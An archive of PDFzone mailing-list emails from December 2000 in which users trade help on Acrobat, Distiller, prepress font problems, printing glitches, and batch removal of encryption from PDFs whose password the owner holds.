changing the document not allowed set. What I >would like to do is batch process all of these files to clear the security >settings and turn off the encryption. > >Right now using Acrobat 4.05 I can clear the security settings but my files >are still encrypted. So the security method still shows as standard. I need >this cleared. Does anyone know of a tool to do this? Yes, our Options plug-in for Acrobat can do this. See our web site for an evaluation version to try out. Regards David Evans --------------------------------------------------------------------------- Dr David R Evans Telephone: (+44) 115 9524333 / 9514230 Merlin Open Systems Facsimile: (+44) 115 9472625 P O Box 230 E-mail: dre@merlin-os.co.uk NOTTINGHAM WWW: http://www.merlin-os.co.uk/ NG2 1LJ, UK Acrobat resellers, specialists in Adobe Acrobat plug-ins and electronic publishing software Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 7-Dec-2000 15:36:38-GMT,3392;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA09787 for ; Thu, 7 Dec 2000 08:36:37 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA21145; Thu, 7 Dec 2000 09:36:13 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 7 Dec 2000 09:26:40 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA20494; Thu, 7 Dec 2000 09:26:39 -0600 Received: from exchange.bbi.sheridan.com ([209.69.162.86]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA20490 for ; Thu, 7 Dec 2000 09:26:37 -0600 Received: from [10.1.2.226] (10.1.2.226 [10.1.2.226]) by exchange.bbi.sheridan.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id Y2L1H9SY; Thu, 7 Dec 2000 10:26:33 -0500 User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630) Date: Thu, 07 Dec 2000 10:25:56 -0500 Subject: [PDF] font alignment/tracking/kerning problem From: Laurie Briegel To: Message-ID: Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ We have a customer-furnished PDF file to be output to film for prepress. The original PDF file looks perfect on screen, as do the laser proofs supplied to us. The majority of the two-column text is perfect. One file has lists of the casts of characters in a movie and these are the problem. There is a character's name at the left, followed by leader dots, followed by the actor's name; several different lists consisting of multiple lines like this. All appear properly justified left and right on screen and lasers. However, when output to film (and lasers) the leaders and the actors names are pushed out to the right, into the other column or off the page. We've tried exporting to postscript and redistilling, with the same end result only in addition we can now see the text looking bad on screen too. We are proceeding to fix in PitStop, editing lines manually. However, we'd like to educate the customer to avoid in the future. Any ideas? Here are specs for the file, from Acrobat: Created in QuarkXPress, using PSPrinter 8.1.1 and Distiller 3.01 for Macintosh, PDF 1.2. The fonts are Type 1, Courtney-Regular and Courtney-Bold. Fonts are embedded and subset. When file is exported to postscript from Acrobat 4, and then analyzed in Download Mechanic, it is reported to be PostScript Level 2, DSC 3.0 compliant, Creator QuarkXPress\\252: PSPrinter 8.1.1. Fonts are embedded. Thanks in advance for any advice. -- Laurie Briegel Preflight Sheridan Books/Ann Arbor Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 7-Dec-2000 16:47:02-GMT,4308;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA12085 for ; Thu, 7 Dec 2000 09:47:01 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA25148; Thu, 7 Dec 2000 10:46:39 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 7 Dec 2000 10:40:16 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA24788; Thu, 7 Dec 2000 10:40:14 -0600 Received: from exchange.kayesmith.com (ftp.kayesmith.com [208.222.254.3]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA24772 for ; Thu, 7 Dec 2000 10:40:08 -0600 Received: by 175.infobaz.com with Internet Mail Service (5.5.2650.21) id ; Thu, 7 Dec 2000 08:33:32 -0800 Message-ID: <096CA9B32660D311A4B30008C79F4CE0F40272@175.infobaz.com> From: Matt Beals To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] font alignment/tracking/kerning problem Date: Thu, 7 Dec 2000 08:33:31 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I would suggest you not subset the fonts first of all. Second, the only reliable way I have exported postscript or EPS files from Acrobat 4.x is to use ASCII level 1. I don't understand why Level 2 or binary doesn't work. But ASCII level 1 always works for me. What happens when you use PitStop to embed the fonts and the export PS/EPS? Matt Beals Preflight Engineer Kaye-Smith (800) 822-9987 x1281 mailto:matt.beals@kayesmith.com http://www.kayesmith.com -----Original Message----- From: Laurie Briegel [mailto:lbriegel@sheridanbooks.com] Sent: Thursday, December 07, 2000 7:26 AM To: pdf@lists.pdfzone.com Subject: [PDF] font alignment/tracking/kerning problem The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ We have a customer-furnished PDF file to be output to film for prepress. The original PDF file looks perfect on screen, as do the laser proofs supplied to us. The majority of the two-column text is perfect. One file has lists of the casts of characters in a movie and these are the problem. There is a character's name at the left, followed by leader dots, followed by the actor's name; several different lists consisting of multiple lines like this. All appear properly justified left and right on screen and lasers. However, when output to film (and lasers) the leaders and the actors names are pushed out to the right, into the other column or off the page. We've tried exporting to postscript and redistilling, with the same end result only in addition we can now see the text looking bad on screen too. We are proceeding to fix in PitStop, editing lines manually. However, we'd like to educate the customer to avoid in the future. Any ideas? Here are specs for the file, from Acrobat: Created in QuarkXPress, using PSPrinter 8.1.1 and Distiller 3.01 for Macintosh, PDF 1.2. The fonts are Type 1, Courtney-Regular and Courtney-Bold. Fonts are embedded and subset. When file is exported to postscript from Acrobat 4, and then analyzed in Download Mechanic, it is reported to be PostScript Level 2, DSC 3.0 compliant, Creator QuarkXPress\\252: PSPrinter 8.1.1. Fonts are embedded. Thanks in advance for any advice. -- Laurie Briegel Preflight Sheridan Books/Ann Arbor Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 7-Dec-2000 18:15:16-GMT,5233;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id LAA14876 for ; Thu, 7 Dec 2000 11:15:15 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA29898; Thu, 7 Dec 2000 12:14:09 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 7 Dec 2000 12:07:27 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA29472; Thu, 7 Dec 2000 12:07:24 -0600 Received: from smtp-relay-1.Adobe.COM (smtp-relay-1.adobe.com [192.150.11.1]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA29468 for ; Thu, 7 Dec 2000 12:07:23 -0600 Received: from inner-relay-1.Adobe.COM (inner-relay-1.corp.adobe.com [153.32.1.51]) by smtp-relay-1.Adobe.COM (8.8.6) with ESMTP id KAA00326 for ; Thu, 7 Dec 2000 10:10:41 -0800 (PST) Received: from mailsj-v1.corp.adobe.com by inner-relay-1.Adobe.COM (8.8.5) with ESMTP id KAA27661; Thu, 7 Dec 2000 10:06:00 -0800 (PST) Received: from isaacs-base.adobe.com ([153.32.39.110]) by mailsj-v1.corp.adobe.com (Netscape Messaging Server 4.15) with ESMTP id G57MBD00.MJU; Thu, 7 Dec 2000 10:06:49 -0800 X-Organization: Adobe Systems Incorporated X-URL: X-Location: Office (ISAACS-BASE) Message-Id: <4.3.2.7.2.20001207100128.020a97a0@mailsj.corp.adobe.com> X-Sender: isaacs@mailsj.corp.adobe.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 07 Dec 2000 10:06:26 -0800 To: pdf@lists.pdfzone.com From: ""Dov Isaacs"" Subject: RE: [PDF] font alignment/tracking/kerning problem Cc: matt.beals@kayesmith.com In-Reply-To: <096CA9B32660D311A4B30008C79F4CE0F40272@175.infobaz.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ The problems you encounter are most likely a problem with Quark XPress which has its own idea about exactly what it considers kosher for EPS. (Note that according to the Red Book specification, EPS can be somewhat arbitrary PostScript with relatively few restrictions!) For other applications, we have found no general problems with use of binary encoding and/or PostScript Level 2 / PostScript 3 in EPS files exported from Acrobat 4.05a and imported (placed) into documents that can deal with valid EPS files. - Dov At 12/7/2000 08:33 AM, Matt Beals wrote: >I would suggest you not subset the fonts first of all. Second, the only >reliable way I have exported postscript or EPS files from Acrobat 4.x is to >use ASCII level 1. I don't understand why Level 2 or binary doesn't work. >But ASCII level 1 always works for me. What happens when you use PitStop to >embed the fonts and the export PS/EPS? > >Matt Beals >Preflight Engineer >Kaye-Smith >(800) 822-9987 x1281 >mailto:matt.beals@kayesmith.com >http://www.kayesmith.com > >-----Original Message----- >From: Laurie Briegel [mailto:lbriegel@sheridanbooks.com] >Sent: Thursday, December 07, 2000 7:26 AM >To: pdf@lists.pdfzone.com >Subject: [PDF] font alignment/tracking/kerning problem > >We have a customer-furnished PDF file to be output to film for prepress. The >original PDF file looks perfect on screen, as do the laser proofs supplied >to us. The majority of the two-column text is perfect. One file has lists of >the casts of characters in a movie and these are the problem. There is a >character's name at the left, followed by leader dots, followed by the >actor's name; several different lists consisting of multiple lines like >this. All appear properly justified left and right on screen and lasers. >However, when output to film (and lasers) the leaders and the actors names >are pushed out to the right, into the other column or off the page. > >We've tried exporting to postscript and redistilling, with the same end >result only in addition we can now see the text looking bad on screen too. >We are proceeding to fix in PitStop, editing lines manually. However, we'd >like to educate the customer to avoid in the future. Any ideas? Here are >specs for the file, from Acrobat: >Created in QuarkXPress, using PSPrinter 8.1.1 and Distiller 3.01 for >Macintosh, PDF 1.2. The fonts are Type 1, Courtney-Regular and >Courtney-Bold. Fonts are embedded and subset. > >When file is exported to postscript from Acrobat 4, and then analyzed in >Download Mechanic, it is reported to be PostScript Level 2, DSC 3.0 >compliant, Creator QuarkXPress\\252: PSPrinter 8.1.1. Fonts are embedded. > >Thanks in advance for any advice. >-- >Laurie Briegel >Preflight >Sheridan Books/Ann Arbor Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 7-Dec-2000 18:42:29-GMT,1947;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id LAA15748 for ; Thu, 7 Dec 2000 11:42:28 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA32624; Thu, 7 Dec 2000 12:41:36 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 7 Dec 2000 12:35:55 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA32216; Thu, 7 Dec 2000 12:35:53 -0600 Received: from mastercard.com (209-64-116-063.mastercard.com [209.64.116.63]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA32210 for ; Thu, 7 Dec 2000 12:35:49 -0600 Subject: [PDF] What is the latest version? To: pdf@lists.pdfzone.com X-Mailer: Lotus Notes Release 5.0.3 March 21, 2000 Message-ID: From: ""Katrina Haggerty"" Date: Thu, 7 Dec 2000 12:35:28 -0600 X-MIMETrack: Serialize by Router on MCNSTL40/MASTERCARD(Release 5.0.5 |September 22, 2000) at 12/07/2000 12:35:49 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Can someone please clear up what the latest version of Adobe Acrobat is? I have 4.05a (aka 4.06 and 4.05) but is there a 4.05c? Help! Thanks. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 7-Dec-2000 19:03:09-GMT,2881;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id MAA16532 for ; Thu, 7 Dec 2000 12:03:08 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA01338; Thu, 7 Dec 2000 13:02:12 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 7 Dec 2000 12:55:55 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA00973; Thu, 7 Dec 2000 12:55:54 -0600 Received: from smtp-relay-2.Adobe.COM (smtp-relay-2.adobe.com [192.150.11.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA00969 for ; Thu, 7 Dec 2000 12:55:50 -0600 Received: from inner-relay-2.Adobe.COM (inner-relay-2.corp.adobe.com [153.32.1.52]) by smtp-relay-2.Adobe.COM (8.8.6) with ESMTP id KAB12629 for ; Thu, 7 Dec 2000 10:59:10 -0800 (PST) Received: from mailsj-v1.corp.adobe.com by inner-relay-2.Adobe.COM (8.8.5) with ESMTP id KAA10358; Thu, 7 Dec 2000 10:55:31 -0800 (PST) Received: from isaacs-base.adobe.com ([153.32.39.110]) by mailsj-v1.corp.adobe.com (Netscape Messaging Server 4.15) with ESMTP id G57OKN00.UOD; Thu, 7 Dec 2000 10:55:35 -0800 X-Organization: Adobe Systems Incorporated X-URL: X-Location: Office (ISAACS-BASE) Message-Id: <4.3.2.7.2.20001207105335.0207e800@mailsj.corp.adobe.com> X-Sender: isaacs@mailsj.corp.adobe.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 07 Dec 2000 10:55:11 -0800 To: pdf@lists.pdfzone.com From: ""Dov Isaacs"" Subject: Re: [PDF] What is the latest version? Cc: ""Katrina Haggerty"" In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ The ""Acrobat 4.05 Update 2"" on the Adobe web site will update you from 4.05a to 4.05c and is for Windows only. It only affects Acrobat itself, not the Distiller or any other component. - Dov At 12/7/2000 10:35 AM, Katrina Haggerty wrote: >Can someone please clear up what the latest version of Adobe Acrobat is? I >have 4.05a (aka 4.06 and 4.05) but is there a 4.05c? > >Help! > >Thanks. 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To: pdf-digest@lists.pdfzone.com Subject: [PDF] Adding margins to PDF's Date: Thu, 7 Dec 2000 16:09:03 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > From: DUDGEON@britbio.co.uk > On Wed, 6 Dec 2000 15:02:40 > Subject: [PDF] adding margins to scanned pages > I'm wanting to scan documents into PDF, ... I can't figure > out how to add a margin around the scanned image (I can crop > the page, but not add to it)... Tim Pitstop from Enfocus (enfocus.com)is a Acrobat plug-in that will allow you to add space around a PDF. If you have a lot of files that need this it can even be automated. - ---------------------------------------------------------------------------- * Les Greenberg, Institute for Federal Printing & Electronic Publishing * Classes in print, CD, and Web for Federal Employees, the DC Government, and contractors who produce publications for the Federal Government * (voice) 202-512-1283 (fax) 202-512-1255 * (e-mail) lgreenberg@gpo.gov * (web site) Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 7-Dec-2000 22:14:16-GMT,2912;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA21829 for ; Thu, 7 Dec 2000 15:14:15 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA11965; Thu, 7 Dec 2000 16:13:04 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 7 Dec 2000 16:06:12 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA11678; Thu, 7 Dec 2000 16:06:11 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA11674 for ; Thu, 7 Dec 2000 16:06:09 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id WAA31173 for ; Thu, 7 Dec 2000 22:06:07 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] ""Default Resolution"" in Distiller job options Date: Thu, 7 Dec 2000 22:06:06 -0000 Message-ID: <002001c06099$e644b860$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MIMEOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <3A2FF6A4.6096637A@msdw.com> Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > Can anyone explain exactly what the Default Resolution setting > (Job Options : General : Default Resolution) does? Just need some > real world clarification so I can pass this info on to some of > our users. Thanks. The best and shortest answer is ""nothing much"". A useful real world answer is: if you have a particular output device in mind, set it to the resolution of that device (NOT of the images you use) or higher. Technically: it does nothing at all in Distiller except set a number. This number will be given to any PostScript file that asks ""what is the resolution?"" Some PostScript files will make decisions on the basis of the answer. A typical example is that some high-end applications like Freehand might work out how many steps to use for a graduated blend. Higher resolutions generate more steps: a better quality but a larger file. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 12:29:10-GMT,2836;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id FAA10198 for ; Fri, 8 Dec 2000 05:29:09 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA10568; Fri, 8 Dec 2000 06:28:31 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 06:14:47 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id GAA09919; Fri, 8 Dec 2000 06:14:45 -0600 Received: from public.electrolux.se (public.electrolux.se [193.183.68.17]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA09915 for ; Fri, 8 Dec 2000 06:14:42 -0600 From: christian.larsson@electrolux.se Received: from gatekeeper (gatekeeper [193.183.68.29]) by public.electrolux.se (8.9.3/8.9.3) with SMTP id NAA24299 for ; Fri, 8 Dec 2000 13:15:36 +0100 (MET) Received: from sthhub02.ed.electrolux.se (sthhub02eth [10.10.10.2]) by ed9usc2.ed.electrolux.se (8.9.3/8.9.3) with ESMTP id NAA12799 for ; Fri, 8 Dec 2000 13:14:38 +0100 (MET) Subject: [PDF] A black square To: pdf@lists.pdfzone.com Date: Fri, 8 Dec 2000 13:10:38 +0100 Message-ID: X-MIMETrack: Serialize by Router on STHHUB02/Servers/Electrolux Group(Release 5.0.5 |September 22, 2000) at 2000-12-08 13:10:39 MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id GAA09916 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hi! We have about 1000 leaflets in PDF format. 10% of those documents prints with a black square instead of the picture. All documents are made exactly the same way with Pagemaker 6.52. The only thing that I know is that pictures are delivered to us in different formats and that we then converts them to tiff. Above happened when we changed printer. Before this we used a HP 8100 printer to print our leaflets till we where allowed to buy a OC� 8465 printer. Now on the new printer we got this problem. System: Windows NT 4 Photoshop 5 Pagemaker 6.52 Distiller Regards Christian Larsson Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 14:38:28-GMT,4096;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA12705 for ; Fri, 8 Dec 2000 07:38:27 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA16359; Fri, 8 Dec 2000 08:38:15 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 08:31:48 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA16067; Fri, 8 Dec 2000 08:31:47 -0600 Received: from smtpsrv1.isis.unc.edu (smtpsrv1.isis.unc.edu [152.2.1.138]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA16063 for ; Fri, 8 Dec 2000 08:31:46 -0600 Received: from [152.2.235.40] (iapetus.fpg.unc.edu [152.2.235.40]) by smtpsrv1.isis.unc.edu (8.9.3/8.9.1) with SMTP id JAA10817 for ; Fri, 8 Dec 2000 09:31:45 -0500 (EST) Message-Id: <200012081431.JAA10817@smtpsrv1.isis.unc.edu> Date: Fri, 08 Dec 2000 09:29:37 -0500 From: jbrady@email.unc.edu (Michael Brady) To: pdf@lists.pdfzone.com (PDFList) Subject: [PDF] Distiller bonks on me X-Mailer: Siren Mail for Macintosh 4.0.2 X-Sender: jbrady@imap.unc.edu MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=""US-ASCII"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Okay, folks, I need some help with this problem that's getting very annoying. I had to make two PDFs from two issues of a small newsletter. After putzing around for an hour or more, I managed to eke out a PDF one of the two files, and I can verify that the fonts and one JPEG image were correctly embedded. I'm using a Mac G3 with OS8.5.1 and beaucoup de RAM and Acrobat 4.05 (the whole suite) I want to convert a made-from-scratch PM6.5 file, all two pages long, into a PDF file. This is what I have done: I write a PS file to the Distiller watched folder. Distiller alertly sniffs out the visiting PS file and properly distills it (as it shows on the progress thermometer when it reaches 100%) Then when Distiller continues to the Relocating Files routine, it hangs at 0%. Nothing happens. I can still move the cursor, but I can't click on the title bar to move the window or click the Pause button, nor can I switch to another program running in the background. And if I have a background routine in progress (e.g., printing a file), it also hangs. All I can do is type Ctrl-Opt-Esc and force Distiller to quit. This also happens when I export the file as a PDF directly from PM6.5. PM properly invokes Distiller and attempts to distil the little fella, but it hangs at the same spot. Twice, I have gotten the error message in the Distiller window message pane that it could not continue with the Optimize option selected. So I reset the Optimize option in the Job Options dialog and continued. Still, no luck. The last time something like this happened, about four or five weeks ago, I reinstalled Distiller and tossed the prefs, etc. At that time, I was working with QXP 4.11 files (something I am not very familiar with), and so I attributed most of the problems to what seemed to be a very clunky process that QXP used to generate PDF files. I'm at my wits end, and the Acrobat manual isn't much help. We have an Adobe FAQ book, c. 1998, but like most other Adobe books, it looks beautiful but the index is so piss poor that I haven't even tried to find any help in it. Thanks for any advice. ------------------- Michael Brady jbrady@email.unc.edu http://www.unc.edu/~jbrady/index.html Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 15:51:09-GMT,4965;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA14528 for ; Fri, 8 Dec 2000 08:51:08 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA20120; Fri, 8 Dec 2000 09:48:03 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 09:41:36 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA19770; Fri, 8 Dec 2000 09:41:35 -0600 Received: from mail.Firstdatacorp.COM (mail.firstdatacorp.com [170.186.38.195]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA19764; Fri, 8 Dec 2000 09:41:33 -0600 From: Jeanie.Shoemaker@firstdatacorp.com Received: (from smtp@localhost) by mail.Firstdatacorp.COM (8.9.3/8.9.3) id JAA09088; Fri, 8 Dec 2000 09:29:48 -0600 (CST) X-Authentication-Warning: mail.firstdatacorp.com: smtp set sender to using -f Received: from () by mail via smap (V2.1) id xma008937; Fri, 8 Dec 00 15:29:08 GMT Subject: Re: [PDF] PDF Decryption To: pdf@lists.pdfzone.com Cc: owner-pdf@lists.pdfzone.com, pdf@lists.pdfzone.com X-Mailer: Lotus Notes Release 5.0.3 March 21, 2000 Message-ID: Date: Fri, 8 Dec 2000 09:40:31 -0600 X-MIMETrack: Serialize by Router on SRVMTA1/FDR/FDC(Release 5.0.3 |March 21, 2000) at 12/08/2000 09:40:40 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Jeremy, I played with Options (David Evans' suggestion), and it does what you want. Compose will also remove all encryption in a batch function--nice for me because I already have Compose. I wonder what Very Good Reason Adobe has for making it impossible to remove all encryption using Acrobat's batch function? Jeanie jeremy.salganik@i hs.com To: pdf@lists.pdfzone.com Sent by: cc: owner-pdf@lists.p Subject: [PDF] PDF Decryption dfzone.com 12/06/2000 01:10 PM Please respond to pdf The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I have over 30,000 PDF files that are encrypted. I have a security password to change the file and I have changing the document not allowed set. What I would like to do is batch process all of these files to clear the security settings and turn off the encryption. Right now using Acrobat 4.05 I can clear the security settings but my files are still encrypted. So the security method still shows as standard. I need this cleared. Does anyone know of a tool to do this? Jeremy Salganik IHS Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 8-Dec-2000 16:01:53-GMT,3736;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA14772 for ; Fri, 8 Dec 2000 09:01:52 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA20960; Fri, 8 Dec 2000 09:59:14 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 8 Dec 2000 09:52:32 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA20395; Fri, 8 Dec 2000 09:52:31 -0600 Received: from domino.ihs.com ([170.207.120.12]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA20391 for ; Fri, 8 Dec 2000 09:52:29 -0600 From: Chuck.Davis@ihs.com Subject: Re: [PDF] PDF Decryption To: pdf@lists.pdfzone.com Date: Fri, 8 Dec 2000 08:51:14 -0700 Message-ID: X-MIMETrack: Serialize by Router on Domino/IHS/US(Release 5.0.5 |September 22, 2000) at 12/08/2000 08:50:16 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: 